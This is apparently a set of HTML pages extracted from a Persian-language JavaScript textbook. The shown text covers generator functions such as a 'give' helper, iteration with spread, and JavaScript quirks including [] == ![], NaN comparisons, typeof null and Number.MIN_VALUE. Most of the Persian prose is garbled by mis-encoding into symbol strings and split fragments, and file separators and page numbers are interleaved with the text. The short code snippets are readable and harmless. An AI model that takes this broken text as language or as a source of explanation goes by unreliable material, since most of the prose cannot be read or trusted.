´ رش¾¶ "
»²
ب
.³²
ک
ϳ
¾فا
º»
yield*
ز
»
ن
»
م·¸و
Á
حا·ظ
Ù²è
ی در م
Îѽµ
ب
³
¿ مور
±» ¶¾Î
ل
» ،³
ر
»³ ´³
عا
Û
ب
»
ب¶ ¸و
µÎ
س
Á ´²¸¶É
ی
Ô
¶ ب
æÓ
حا
ò²à
م
generator
Û
ب
»
ز ¸و
» ϳ
¾فا
º»
، ل×¼م· ب¶ ¸ولید
generator
Û
ب
»
ر ¸و
³ .
د
É
ک
ø
¾· صد
Ð
بازگ
Û
ب
»
¸و
³
ر مور
³
د
Á»
·¸و
ÈÁ ·Õä
ب¶ صورت ق
ر
³ ،´»¶Â
ح
²
یاز ب¶ صورت م
Á ³
مور
²±³
ا
Ý
ا م
Ôɸ ¼ ³
ر
»
د
Á ³
¼جو
»²
ج
»
ز
» ÆÎ
یاز ق
Á ³
مور
²±³
ا
Ý
م
Ö
ا
ȸ
شدن
د.
Á
¶ ¸ولید م·شو
Â
ح
²
م
²
شدن ه
»²
ج
»
زمان
[
generator
À³²¶Á ËÃÈ
ر
Á
·ñÕ
ر ب
³ µº» ¿¹È
ز آنها، م
» ´³
عا
ϳ
¾فا
º»
،
generator
Û
ب
»
ز ¸و
» ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³
Û
ب
»
ر¼´ ¸و
²
¸ا ب
³²
ک
³
ا
ß±» ·Î
کی
²¸ Û
¸اب
Ú±
ن
»
م·¸و
Ñ
´ مثا
»²
اشد، ب
ÎÁ ¿¹È
ار م
¹
ه
»
¿ ر
±²¾Ô
ب
³
ر
»
مو
ê
م¾وق
»
ر
iteration
´»²
ج
» ì
پ
º ¼ Ù±¼²
ب
Ä
ی
Å Ù±
ر
»³ ²æÁ
· ک¶ مد
à
خ
Ð
¸ا حد م
generator
ƹ
وم·، ب¶ ش
È
´ ع
³²
بسیار کارب
Û
ب
»
¸و
³
ا
ß±» ¶
د ب
ÉÁ»
· م·¸و
Î
کی
²¸ Û
ب
»
¸و
é
¸ی
²¸ ¿±» ¶
، ب
Ù
ی
É
ک
210
²º
Generator
و
Iterator
================================================ FILE: HTML/213.html ================================================
د.
ÉÉ
´ ک
³
ا
±
ز
ÚÈ
ک
generator
·à
خ
Ð
م
³»
د
Õ¸ ،
iterable
Ú± ¼ Ï
د
Á
ار
È
ش
Ú± µÓ
ا
±
ر
³
ک¶ با
generator
·Î
کی
²¸ Û
¸اب
Ú±
ز
» ·
مثال
د:
É
م·ک
»²
ج
» ²æÁ ³
مور
iterator
ر¼´
²
ب
iteration
function
*
give
(
count, iterator
) {
let
counter =
0
;
for
(
let
value
of
iterator
) {
if
(counter >= count) {
return
;
}
counter++;
yield
value;
}
}
give(
2
, [
‘ali’
,
‘ahmad’
,
‘reza’
,
‘mani’
])
// “ali” , “ahmad”
give(
7
, naturalNumbers());
// 1 2 3 4 5 6 7
give(
5
, powerSeries(
3
,
2
));
// 9 16 25 36 49
í
ا
º» ²
، ب
µº» Ï
¶ شد
Ç»
ر
» ES2017
ر
³ ¶
ک
async/await
ژگ·
±¼ ¶
باش¶ ک
é
¸ون جال
»²
د ب
±
شا
´»
ر
»³ ´
ی× ب¶ کد
Á
شدن
transpile
Ö
ا
ÌÉ
ر ه
³ ¼
د
É
کار م·ک
generator
Û
ب
»
¼ ¸و
promise
é
کی
²¸
é
ال
ä
ز چارچو½ م
» Ò
ار
à ³
ر
»
¿ مو
±»
یات
Ç×
ج
ð
¾¶ ¸وضی
Î
ل
» .³
م·شو
Ʊ
د
θ
Promise
¼
generator
4
ید.
É
¶ ک
Õ
ال
ä
م
µ
وش
Á
ا
Å ÚÉ
ر لی
³ »
ر
Ë
و
àà ¿±»
ر
³ ²¸Æ
کام
é
ال
ä
ک¾ا½ م·باشد، م
iteration
Ú±
ا
È
ش
²
گ
» Ñ
´ مثا
»²
، ب
µº
ن آنها
³
بو
ò²à
ار م
ι± ،
ها
generator
³
ر مور
³ ÙÔ
¾¶ م
¹Á
ا ح¾· ب¶ صورت
± ¼
د
±
ید
º
ر
true
با
²
ب
»²
ب
done
، ب¶
next
Û
´ ¸اب
»²
ج
»
د ¼ با
±
د
Á
ا
º
ر
Ö
ا
ȸ» ¶
ب
»
ر
ید.
É
ک
iterate
»³
د
ß
ید م
Á»
·¸و
ÈÁ ²æÁ ³
مور
²
ر¼´ م¾÷ی
²
ب
²Ì±³ ،
د
±³²
ک
ϳ
¾فا
º»
ز آنها
»
spread
4 https://tc39.github.io/ecmascript-asyncawait
211
͸
د
ØÉ³
================================================ FILE: HTML/214.html ================================================
const
friends = [
‘ali’
,
‘ahmad’
,
‘reza’
,
‘mani’
];
const
topTwoFriends = give(
2
, friends);
console
.log(...topTwoFriends)
// “ali” “ahmad”
console
.log(...topTwoFriends)
// This will not give any
data
ا
Ôɸ ،
¾ان
º¼³ ¶±»
ز آر
» ²¸²
ب
µº¼³ ¼³ µÓ
ا
±
ر
³ ¼ Ù
وش¾ی
Á ²¸ÆÎ
ک¶ ق
give
·Î
کی
²¸
ز م¾د
» ϳ
¾فا
º»
با
µÐ
ر´ بازگ
»
د
Ý
م
å
د´ هی
Õ
ب
ϳ
¾فا
º»
ر
³ ¼ Ù
ی
É
ک
ϳ
¾فا
º»
spread
ب¶ صورت
»
آنها ر
Ù
ی
Á»
ار م·¸و
ι±
هد شد.
»
خو
Á ϳ»³
[
¸ا
generator
رد
³¼
ا
È
¼د
²¶
م
ام¶ها´
Á²
ر ب
³
ا
± ،
باشید
generator
Û
ب
»
ز ¸و
» ´»Ï³
¾فا
º» ³
ر
»
مو
Ñ
ا
ÎÁ³ ³
و
à ¿
ه
è
ر
³ µº» ¿¹È
م
³
ید مور
Á»
¾و
Á ¼
باشید
Û
ب
»
¿ ¸و
±» ´»²
ال· ب
à ·±
جا
Ñ
ا
ÎÁ³ ¶
د، ب
±» ϳ²
ک
»²
ج
»
ون
É
ک¶ ¸اک
³
و
à Ï
وش¾¶ شد
Á
ید.
É
ک
»
ید
Å »
ر
éº
ا
É
م
ج¶
»
د با آن مو
Á
ا م·شو
É
ها آش
generator
´ ک¶ با
³»²Ó»
ز
» ´
ک¶ بسیار
µº» ´²¹
¿ ¸ف
±» µÝ
ی
Ý
ر ح
³
¶Ç»
ر
» ´
ها
Ñ
¼ مثا
µ
یس
Á
ها
generator
ن
³
و
ÎÁ ϳ
¾فا
º» ³
مور
²
· ب
Â
لی
³ ç
¿ موضو
±»
ما
» ،
د
Á
م·شو
¿±²È¸ ،Ï»
¿ ر
±²¾Ô
، ب
µº» ϳ
و
ÈÁ µ
اب
â »
ی¶ ر
ñ
¿ ق
±» ·
ول
Î
ق
Æ
ی× ¸ا حد قاب
Á Ä
ی¿ بخ
È
ر ه
³ Ï
شد
ها م·باشد.
generator
ز
» ϳ
¾فا
º»
· با
±»²
ج
» ´
ها
Ñ
مثا
ı
ا
ÈÁ ¼ µ±²±
´ مد
»²
، آنها ب
ϳ
¾فا
º»
ان
¹
م
» ،
ها
generator
³
ر مور
³ ·º
ا
º» ´
ها
Ñ
ز مثا
» ·¹±
،³
ور
Ã
هد
»
و
ò
ا ب
äà ¶
ول· ب
ÈÕ
¶ها´ م
ÝÂ
ر ح
³ ³
ی¿ مور
È
ر حال· ک¶ ه
³ ،µ
هس
µ±
ا
ÔÁ·
ب
²±³
ا
Ý
م
¼ ´²¸
باز´ها´ کامپیو
³
ر مور
³
ا
± ¼
د
ÉÉ
ک
Æ
ح
»
ر
ç
¿ موضو
±»
د
ÉÁ»
ح¾· م·¸و
»
ها ب¶ ر
generator
ز
» ϳ
¾فا
º»
با
ϼÍÕ
، ب
Ù
هی
³ ¶Ç»
ر
»
ها
generator
ز
» ·
وب
à ´
ها
Ñ
مثا
Ù
ی
Á»
د´ آنها ¼ … م·¸و
É
¶ ب
Â
ح
²
م
.³²
ک
ëÂÃ
ن
»
ی× م·¸و
Á ·±
ا
α
ز
Ï
ور
æÉ
م
Ë
ا
à ´
ها
ϳ
¾فا
º» ،Ù
¾ی
Ã
· آمو
ÂÎ
ق
Ä
ر بخ
³ ¶
· ک
Î
کی
²¸ Û
ب
»
¸و
µ¹±
´ ر
»²
ب
redux-saga
ور
ÔÐ
¶ م
Á
ن ب¶ ک¾ابخا
»
ها م·¸و
generator
¶¾Ó²Ð
ی
Å ´
ها
³²
کارب
²Ì±³
ز
»
.³²
م·ب
ϲÔ
ها ب
side effect
Ö
ا
ßÁ» ´»²
ب
Û
ب
»
¸و
ç
و
Á ¿±»
ز
» ¶
ک
³²
ک
Ï
شار
»
212
²º
Generator
و
Iterator
================================================ FILE: HTML/215.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
ا باشید.
É
ن آش
³
بو
iterable
ا باشید ¼
É
آش
Iterator
µ
با ماهی
±
ا باشید.
É
آش
iterator
¼
iterable
ƹ¸¼²Å
با
±
د.
±
ار
È
ش
²
ب
»
ا´ آنها ر
±»×
¼ م
ϳ²
ب
Ö
ا
Á
iterate
Æ
قاب
object
´³»
د
Õ¸
ید
Á»
ب¾و
±
Æ
قاب
²
ی
õ ·à
ها´ شخ
object
ر¼´
²
ید ب
Á»
¼ ب¾و
ϳ²
ک
Ø
ر
³ »
ر
for...of
¶ÝÂ
ح
³²
کارک
Ï
و
ÞÁ
ید.
É
ک
³
ا
ß±» »
ن ر
³
بو
iterable
ان
¹
م
» ،
iterate
±
ید.
É
ک
µ
¸س
»
ن ر
³
بو
iterable
ید
Á»
¼ ب¾و
ϳ
ا بو
É
آش
iterate
Æ
وم· قاب
È
ها´ ع
object
با
±
generator
¼ ´³
عا
Û
، ¸فا¼ت ¸اب
ϳ²
ک
Ø
ر
³ »
شدن آن ر
ê±²Õ¸ ¼
generator
Û
ب
»
¸و
µ
ماهی
هید.
³ ð
¸وضی
»
ر
±
Û
ب
»
ز ¸و
» Ñ
د مثا
É
¼ چ
ϳ²
ک
Ø
ر
³ »
ر ر
»
د
Ý
شدن م
yield
Ö
و
Ô
¼ مف
generator
Û
ب
»
¸و
³²
کارک
هید.
³ ¶Ç»
ر
»
generator
±
ید.
É
بیان ک
yield*
´²
ز ب¶ کارگی
» ·±
ها
Ñ
¼ مثا
ϳ»³ ð
¸وضی
»
ر
yield*
¼
yield
¸فا¼تها´
±
سید.
±
و
É
هید ¼ مثال· با آن ب
³ ð
¸وضی
»
ر
next
Û
ر ب¶ ¸اب
»
د
Ý
ن م
³»³ í
ا
Å ²
ی
â
¸ا
±
هید.
³ ¶Ç»
ر
»
ها
generator
· با
Î
کی
²¸ Û
ب
»
¸و
213
͸
د
ØÉ³
================================================ FILE: HTML/216.html ================================================
214
²º
Generator
و
Iterator
================================================ FILE: HTML/217.html ================================================
³¶
زد
²
بخش ی
سکریپت
±
جاو
ÍÇ
جا
É
ا·ا
Î
خ
ا¶½ا¼ بخش:
س´ریپت
µ
جاو
ÕÉ
جا
Ý
ائ
Ò
آش¸ای· با م
¹
ا
Ã
ا
»¼
ش
µ ¶½µ½ æº Ý
ی
Ù½ ¶
د
ÈijÏ
¹
ا
Ã
ا
»¼
ش
µ ±
ا
Ø
ن
µ
ز
µ Á
ر
ÈÆ²
جل
ÕÈØ
ر ع
Ã
ا
ç
به
Á
ا
Ã
خطا
Ì
سری
ÌϺ
================================================ FILE: HTML/218.html ================================================
µ
پ
±²¹º»¼
ر جا
³ )é
ی
ß
ع
²
د ب¶ ظاه
±
شا
ی
ß
¸فاقات ع
» ¼
ها
³»
د
Ã
ز ر
» ·±
ها
Ñ
مثا
Ä
¿ بخ
±»
ر
³
´³²
کارک
µ
ماهی
Ø
ر
³
¸ا با
Ù
هی
³ ð
¸وضی
»
ن آنها ر
³»³ ý
ر
Ʊ°³ Ù
ی
É
· م·ک
Õº ¼ Ù
هی
³·
م
ï²
ش
»
ر
ی
É
´ ک
²
وگی
Â
اهات ج
ξ
ش
» ¿±» ç
ز ¼قو
» ،¶
ام
Á²
ب
²
ب
Ù
حاک
ëäÉ
زبان ¼ م
آنها
ç
ز ¼قو
» ·±
ها
á¼
ن با ر
»
م·¸و
»
د ر
É
ه
³·
م
ý
´ ر
»¶
س
±
ا
Ý
ها´ م
²ÌÂÈ
اها ک¶ با ع
äÃ
ز
» ·Ã²
ب
)===( ´¼
مسا
µ
م
Í
¶ ع
º
با
Ï
ر
»
و
È
ه
µº» ²¾Ô
ن، ب
³
بو
²
ب
»²
س¶ ب
±
ا
Ý
م
Ñ
´ مثا
»²
. ب
³²
´ ک
²
وگی
Â
ج
· شو
º
ر
²
ب
آ¼ر´
³²
گ
µ
پ
±²¹º»¼
دگان جا
É
ه
³ ¶Õº
ز ¸و
» ´
بسیار
ÛÈ
ج
óº
¸و
ÆàÓ ¿±»
ر
³ Ï
شد
²
ک
è ´
ها
Ñ
مثا
د.
Á»Ï
شد
ϳ»³ ó
· بس
È
د ک¶ ک
É
م·باش
í²¾º³ Æ
¼ ب¶ صورت م¾¿ باز قاب
Ï
شد
!] [
با
] [
¾ بودن
À
ا
Ë
م
یس
Á ²
ب
»²
¶ ب
±»
¶ با آر
±»
آر
[] ==![];
// true
م¶
»³»
ر
³ ¶
· ک
±°³ ¶
ا ب
É
د ¼ ب
Á
م·شو
Ʊ
د
θ ³
´، ب¶ عد
²
ب
»²
ب
²ÌÂÈ
· ع
º
ر
²
´ ب
»²
ب
ø
و
Ó ¶±»
¼ آر
³ ²
ه
د
Á
ر
»³ ð
ی
Þ
¼ ص
true
ر
»
د
Ý
¶ها م
±»
ک¶ آر
Ù
ی
Á»³·
م
»
ب¾د
»
ر
³ ،
د
Á²
م·گی
»
ر
0
ر
»
د
Ý
م
³
م·شو
ϳ»³ ð
¸وضی
د:
É
م·ک
ö
چا
console
ر
³ »
ر
²æÁ ³
ارت مور
Î
ع
²±
کد ز
Ñ
´ مثا
»²
· ب
ÉÕ±
if
( [] )
console
.log(
“working”
); // will fire
هد بو
»
و
Ã
ر
»²
ق
²
ب
²æÁ ³
مور
ʲ
ی× ش
Á Ù
سی
±
و
É
ب
²±
ز
ƹ
¼ ب¶ ش
Ù
هی
³ ²
¸÷یی
»
ر
³
و
Ã
· کد
È
ک
²
گ
» Ñ
حا
if
( [] ==
0
)
console
.log(
“working”
); // will fire
»
ر
³»
عد
» ì
پ
º ¼ ϳ²
ک
Ʊ
د
θ ³
ب¶ عد
»
¶ ر
±»
آر
»
ب¾د
»
گ· کار
³
ا
º ´»²
ید ب
É
ک
þ²Ó ،²¸Ï³
ا
º ƹ
ب¶ ش
¿ کار
±»
، با
Ù
هی
³
ر
»²
´ آن ق
»
ب¾د
»
ر
³ + Ú± ،³
¶ ب¶ عد
±»
آر
ç
و
Á Ʊ
د
θ Ö
ا
ßÁ» ´»²
، ب
Ù
ی
É
س¶ م·ک
±
ا
Ý
م
Ʊ
د
θ
false
+ ¶
ب
槯
ر
µÈº
ارت
Î
¼ ع
Ï
شد
0 ¶
ب
Ʊ
د
θ Ĉ
چ
µÈº
ارت
Î
ع
Ï
¶ شد
Ç»
ر
» Ñ
ر مثا
³
هد بو
»
و
à ²
ب
»²
ب
0
¼ با
Ï
شد
Ʊ
د
θ 0 ¶
ب
false
+ ³
و
à ì
پ
º ،³
م·شو
216
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/219.html ================================================
+[] == +![];
0
== +
false
;
0
==
0
;
true
;
)
موز
(
baNaNa
“b”
+
“a”
+ +
“a”
+
“a”
;
// -> baNaNa
ÛÈ
ج
Æ
لی
³ ¶
، ب
µº» Ï
شد
ï²ä
م
µ
پ
±²¹º»¼
جا
á
ها´ آموز
íÍ
ر ک
³ ¶¾
ز گذش
» ¶
· ک
Ã
¿ شو
±»
¸ولید شو
1
NaN
Ú± ³
م·شو
î
هد ¼ باع
³·
م
ý
´ ر
³
عد
ç
و
Á Ú± ƹ
¼ رش¾¶، ب¶ ش
³ ¿¾
بس
“foo”
+ (+
“bar”)
;
// ‘fooNaN’
د ´س¶!
¹¿
NaN
ر
³
NaN
ç
و
Á ¿¾Ó²
ما با گ
» ،µº» ³
عد
²
ی
õ ´
ا
ÉÕ
ب¶ م
NotANumber
ѳ
ا
Õ
م
NaN
ک¶
Ù
ی
Á»³ ·
م
د:
±
م·آ
µº
بد
é
´ جال
»¶ß
¾ی
Á µ
پ
±²¹º»¼
جا
typeof
NaN
;
// -> ‘number’
،³
ر
»³ ´³
ا
±
ز
ϳ
¾فا
º» ²¸
کامپیو
ÙÂ
ر ع
³ ¼
·باشد
ÈÁ ³¼
د
Þ
م
µ
پ
±²¹º»¼
ا ب¶ جا
Ôɸ
NaN
ز
» ϳ
¾فا
º»
µ
یس
Á ³
اها´ موجو
ñÓ
ر
³ ´
ر
»
د
ÔÌÁ
ا
± ¼ ı
ا
ÈÁ Æ
´ ک¶ قاب
³
ما عد
» ،µº» ³
عد
Ú±
NaN
Û
ق
»¼
ر
³
ç
ی¿ موضو
È
، ه
³
م·شو
³
ا
ß±» …¼ ∞/∞
ا
± 0
/
0
د
ÉÁ
· ما
±
ها
Ï»
ز ر
» ¼
د
ßÉ
·گ
ÈÁ ³»
عد
» ³¼
د
Þ
ر م
³ ¼
،³
س¶ شو
±
ا
Ý
ی× م
Á á³
و
Ã
با
²
گ
» ·¾
د ¼ ح
É
· م·ک
É
بی
Ä
ی
Å Æ
قاب
²
ی
õ ،»
ر
NaN
ب¶
Ê
بو
²
س¶ها´ م
±
ا
Ý
م
ی
É
· م·ک
º
ر
²
ب
²¸Æà
م¶ مف
»³»
ر
³ ¶
ک
³
هد بو
»
و
Ã
false
¶ß
¾ی
Á
!
NaN
¶ با
˽º ²
´ب
²
ب
NaN
NaN
===
NaN
;
// -> false
NaN
==
NaN
;
// -> false
1 Not a number
217
͸
یازد
ØÉ³
================================================ FILE: HTML/22.html ================================================
20
ه ای
±²
حث پ
²
و مب
³±²
آشن
[
ت؟
ÊÃ
چ
Javascript
ز
» ·¹±
CSS
¼
HTML
د
ÉÁ
ا
È
ک¶ ه
µº» Ú
امی
ɱ»³ ·
س
±
و
Á¶
ام
Á²
زبان ب
Ú±
Javascript
ب¶
Ù
¾¶ ¼ ه
Ó
ا
± µÃ
ا
º
ب¶ صورت
Ù
¿ زبان، ه
±» .³¼
ار م·ر
È
ا¼ر´ها´ ¼½ ب¶ ش
ÉÓ ²
اص
É
¿ ع
±²¸ ÙÔ
م
ا½
Ý
ل
» ¼ ¿±¼
ا
É
¿ ع
±»
¿ ک¾ا½ با
±»
ر
³ ¶
ک
³²
ر م·گی
»²
سان ق
±
و
Á¶
ام
Á²
ب
ϳ
¾فا
º» ³
مور
»²
گ
ô
صورت ش
³
´ مور
» ¶±
ا
Å ´Ü
ولو
ɹ¸
ن
»
و
É
ب¶ ع
µ
پ
±²¹º»¼
یا´ ¼½، جا
Á³ ´
¿ ر¼زها
±
از
õ
ز آ
» .Ù±
ا م·شو
É
آش
²¾Ð
بی
· ک¶
±
، ب¶ ر¼زها
³³²
باز م·گ
ÆÎ
ه¶ ق
³ 2 ³¼
آن ب¶ حد
ç¼²
د ک¶ ش
É
چ
²
. ه
µº» ¶¾Ó²
ر گ
»²
¸وج¶ ق
ê¾
¶ها´ مخ
ÎÉ
ز ج
»
آن
Û±²º
ون رشد بسیار
É
ک
»
ما
» µ
ش
»³ Ï
د
É
ه
³
ر
»
ها´ آز
ö
آ
ö
ا
Å
ر حد
³ ´³²
کارب
¿±²¾
¿ ¼ ب×رگ
±²¸½
و
ÎÞ
م
( ½¼ ²±
ذ
Å
ا
Á ·±»
جد
Ä
ن بخ
»
و
É
· ب¶ ع
Á
و
É
ر زمان ک
³
¸ا
µº» Ï
شد
î
باع
شو
Ʊ
د
θ )´
ر
»×Ó»Ö²Á Ö²
¾ف
ÂÅ
ر حال· ک¶
³
د
É
ا م·ک
Ý
ل
» »
ر
»¼
ن آن ب¶ زبان جا
³
ی¶ بو
Î
ک¶ ش
µº» ·¸
ب¶ صور
µ
پ
±²¹º»¼
ر´ جا
»
گذ
Ö
ا
Á
ار ¼
¹
´ ¸فا¼تها´ آش
»
ر
»³
¶ها
ÎÉ
ز ج
» ´
ر بسیار
³ ¼ µº»
م¾فا¼ت
Í
¼ زبان کام
³ ¿±» ·
ح
»²
سف¶ ط
ÂÓ
د.
É
م·ک
³
ر
Í
کام
»
ر
²Ì±
د
¹± ¶
¼ زبان ب
³ ¿±» Ê
ا
θ
ر
» ¶
ضی
²Ó ¶
د ک
ɾ
· هس
ÈÔ
م
¶؟
̱²Í
´س
À
´ جا
²
چ
ب¶ شدت
²
ی
û ´
ها
Ñ
ا
º
ر
³ ¶Õº
¿ ¸و
±» ،µº» ¶Õº
¼ ¸و
µÓ²Ð
ی
Å Ñ
ر حا
³ Ï
¶ ر¼ز
È
¼½ ه
ÄÁ»³
هد:
³·
ان م
ÐÁ »
ر
1
½¼ ´Ü
ولو
ɹ¸ ½ÍÝÁ» ²±
ز
²±
و
ภ،µº» ¶¾Ó²
گ
µ
ع
²º
Ï
آمد
µº³ ¶
ب
³
ر
»³ ¶
ا¸· ک
Á
ا
¹
م
» ¼
¶ها
Á
¼ ک¾ابخا
µ
پ
±²¹º»¼
جا
óº
½ ¸و
ÍÝÁ» ¿±»
ز
» ´»Ï
د
È
ع
Ä
بخ
.槯
¶ÂÈ
ز ج
» ¶
ک
µº» ¶¾Ó²
گ
Ï
د
±» Ù
¼ مفاهی
)
syntax
(
و
ÞÁ
ر
³ ´
ز زبانها´ بسیار
» µ
پ
±²¹º»¼
زبان جا
1
http://www.evolutionoftheweb.com/
================================================ FILE: HTML/220.html ================================================
¿±»
ر
³ ،Ù
بیابی
2
ر
»
د
Ý
¼ م
³ ´²
ب
»²
· ب
º
ر
²
´ ب
»²
، ب
ES
³
ر
»
د
Á
¾ا
º»
ر
³ Ù
ی
Á»
م·¸و
»
ر
ç
¿ موضو
±» Æ
لی
³
¼³ ¿±» ²
گ
» ،
y === x
ب¶ صورت
y
¼
x
ر
»
د
Ý
¼ م
³ ´²
ب
»²
س¶ ب
±
ا
Ý
م
Ö
ا
ÌÉ
ر ه
³ :Ï
گف¾¶ شد
³
ر
»
د
Á
¾ا
º»
م·شو
ϳ»³ µÐ
بازگ
false
ا
±
true
ر
»
د
Ý
م
²±
ز
ó±»²
ش
ë
اب
ä
د م
É
ر باش
»
د
Ý
، م
²
م¾÷ی
±
.槯
false
¶ß
¾ی
Á ،
باشد
y
ر
»
د
Ý
م¾فا¼ت با م
x
ç
و
Á ²
گ
»
±
ک¿:
³
ور
ò
ب
²±
ز
ó±»²
ش
ë
اب
ä
م
ìÅ ،
باشد
³
عد
x
ç
و
Á ²
گ
»
±
.槯
false
¶ß
¾ی
Á ،
باشد
NaN
ر
»
د
Ý
م
Ú±
x
²
گ
»
±
.槯
false
¶ß
¾ی
Á ،
باشد
NaN
ر
»
د
Ý
م
Ú±
y
²
گ
»
±
±
ر
»
د
Ý
باشد، م
NaN
س¶
±
ا
Ý
م
³
مور
³
ر
»
ز مو
» Ú± ²
ه
²
گ
» ¶
ک
Ù
ی
É
م·ک
Ø
ر
³ ø
و
Ó
ون
Á
¼ قا
³
دن
Á»
و
Ã
با
ر
³ ·¾
ح
»
· ر
Î
ی
ß
ع
ù±
¾ا
Á µº» ¿¹È
م
Ï
ر
»
و
È
ه
NaN
س¶
±
ا
Ý
م
Æ
ر ک
³ ،³
م·شو
ϳ»³ µÐ
بازگ
false
µ
ق
³ ·È
آن ک
ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³ ìÅ ،
هد
³ ¶Ç»
ر
»
ن
³
بو
²¾¹
ا کوچ
± ú
س¶ ب×ر
±
ا
Ý
ب¶ م
Ê
بو
²
م
³
ر
»
مو
.µº» Ö
ز
°
!¹Ñ¸ËÈ
object
籫
آر
À
null
typeof
[];
// -> ‘object’
typeof
null
;
// -> ‘object’
// however
null
instanceof
Object
;
// false
د،
Á»³²
· باز م·گ
º
ر
²
ب
³
ر مور
»
د
Ý
م
ç
و
Á
ز
» ¶¾
رش
Ú± ¶
ک
槯
¿ صورت
±» ¶
ب
typeof
²ÌÂÈ
ع
µ
ماهی
·º
ر
²
ب
Ö
ا
ÌÉ
ر ه
³
ا
äÃ
ز
» ´²
وگی
Â
´ ج
»²
¾¶ ب
Î
ل
» .
' م·باشد
object
' ³
¿ مور
±»
null
¼ ¶±»
آر
³
ر مور
³ ¶
ک
د´ ب¶
ÉÓ²¸
ز
»
ن
»
، م·¸و
²æÁ³
مور
object
³
ر مور
³ ë
قی
³
عات
Í
ط
» µÓ
ا
±
ر
³ ¿
ی
ÉãÈ
¼ ه
object
ç
و
Á
:³²
ک
ϳ
¾فا
º»
د
Õ
ب
Ñ
ر مثا
³ Ï
وش¾¶ شد
Á
¶ کد
¹¸ ƹ
ش
2 https://www.ecma-international.org/ecma-262/#sec-strict-equality-comparison
218
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/221.html ================================================
Object
.prototype.toString.call([]);
// -> ‘[object Array]’
Object
.prototype.toString.call(
new
Date
());
// -> ‘[object Date]’
Object
.prototype.toString.call(
null
);
// -> ‘[object Null]’
] [
مان
ç»È
ودن
Ǻ بودن
á½Õ
ص
Ö¼³
¼ بار
Ï
شد
»²
ج
» ă
ی
ÝÁ
ار
ι± ·ÉÕ± ،³
¼لی¶ م·شو
»
ر
»
د
Ý
ان م
È
· ه
ÝäÉ
¶ م
ß
¾ی
Á !!¶
ک
Ù
ی
Á»
مید
؟
µ
چیس
²±
ن کد ز
³»³ ý
ر
Æ
لی
³
ما
» ،³
م·شو
Ѽ» µ
ب¶ حال
µÐ
بازگ
î
باع
ă
ی
ÝÁ ´»²
ج
»
!![]
// -> true
[] ==
true
// -> false
Ѽ»
ارت
Î
ع
³
ر مور
³ ¼ ³
ر
»³ )
true
( ð
ی
Þ
ر ص
»
د
Ý
م
Ú± ¶±»
آر
س¶ها،
±
ا
Ý
م
Ö
ا
ßÁ» Ö
ا
ÌÉ
ر ه
³ ¶
ک
Ù
ی
Á»
مید
،³»³
هد
»
و
à ı
ا
ÈÁ »
ر
true
ان
È
ه
Ï
¼بار
³ ،
آن
µ
ر¼´ ماهی
²
ب
ă
ی
ÝÁ
¼بار
³ Ñ
ا
È
ع
» ¶
ک
µº» ·Ô±
بد
·º
ر
²
´ ب
»²
، ب
ecma
³
ر
»
د
Á
¾ا
º»
ر
³
، چون
µ
یس
Á
true
´ با
²
ب
»²
· ب
ÉÕ
ب¶ م
true
µ
ش¾¿ ماهی
»³
ما
»
³
ر
»³
object
ر
»
د
Ý
م
Ú±
x
¼ Ù
ی
É
· م·ک
º
ر
²
ب
»
ر
y===x
²
گ
» :µº»
ر
»²
ق
²
ب
²±
ون ز
Á
ر قا
»
د
Ý
¼ م
³ ´²
ب
»²
ب
با
³
هد بو
»
و
à ²
ب
»²
س¶ ب
±
ا
Ý
¶ م
ß
¾ی
Á ،³
ر
»³
boolean
ر´
»
د
Ý
م
y
²
گ
» ¼ ¿
ک
ToNumber
»
ر آن ر
»
د
Ý
م
.
x==!ToNumber)y(
م·شو
false
¼ج·
²Ã ¶ß
¾ی
Á
ت
°³
ا
Õ
¿ م
±» Ö
ا
ßÁ»
¼ با
!¶Ë½º
اه
Ǹ
لی ´ش
À ¶
اه ´س
Ǹ
´ش
null
د:
º
م·ر
²æÁ ¶
ب
é
ی
ß
· ع
È
ی× ک
Á ƹÐ
¿ م
±» ø
و
Ó Ñ
د مثا
ÉÁ
ا
È
ه
!!
null
;
// -> false
null
==
false
;
// -> false
¾· کار
º
ر
³ ¶
، ب
false
با
²
ب
»²
، ب
false
µ
با ماهی
²Ì±³ ²±³
ا
Ý
· م
º
ر
²
ک¶ ب
µº» ·
ر حال
³ ¿±» ¶¾Î
ل
»
219
͸
یازد
ØÉ³
================================================ FILE: HTML/222.html ================================================
د:
É
م· ک
0
==
false
;
// -> true
““
==
false
;
// -> true
،µº»
object
،
null
ç
و
Á ¶
ک
Ù
ی
Á»
¼ بد
Ù
باشی
ϳ²
ک
Ø
ر
³ ·
وب
à ¶
ب
»
ر
ÆÎ
ق
Ñ
ات مثا
Þ
¸وضی
²
گ
»
ما
»
Ñ
ر مثا
³ ¶±»
س¶ آر
±
ا
Ý
´ م
»²
´ ک¶ ب
³²¹±¼
ان ر
È
ا ه
Ý
قی
³ ،¶
س
±
ا
Ý
م
Ö
ا
ßÁ» Ö
ا
ÌÉ
ر ه
³ ¶
ک
Ù±
م¾وج¶ م·شو
.³»³
هد
»
و
à ý
ی× ر
Á ³
¿ مور
±» ´»²
، ب
³»³ ý
· ر
ÂÎ
ق
´ز صف
²¸
رگ
ç
د¾ ب
¹¿
´ر
¹
× مق
Ò´¹
ح
ما
» ،³
آ¼ر
µº³ ¶
ب
»
ر
³
موجو
³
¿ عد
±²¾¹
ن کوچ
»
م·¸و
Number.MIN_VALUE
Ö
ا
ßÁ» ¶
ک
Ù
ی
Á»³·
م
ی
É
س¶ ک
±
ا
Ý
م
²
با صف
»
ر
Ï
آمد
µº³ ¶
ر ب
»
د
Ý
ک¶ آن م
³
م·شو
é
ی
ß
¶ ع
Â
· مسئ
Á
زما
Number
.MIN_VALUE >
0
;
// -> true
µº» float µÎ
مث
³
¿ عد
±²¾¹
ک¶ کوچ
槯
5e-324
با
²
ب
»²
ب
Number.MIN_VALUE
ر
»
د
Ý
م
¸ا
³²
ک
ϳ
¾فا
º»
Number.MIN_SAFE_INTEGER
ز
»
ن
»
.م·¸و
µº» ²
ب¶ صف
Ú±³×Á ·Â
ی
à ¶
ک
د.
É
· ک
Á»³²
بازگ
»
ر
integer
³
عد
Æ
ق
»
حد
ا
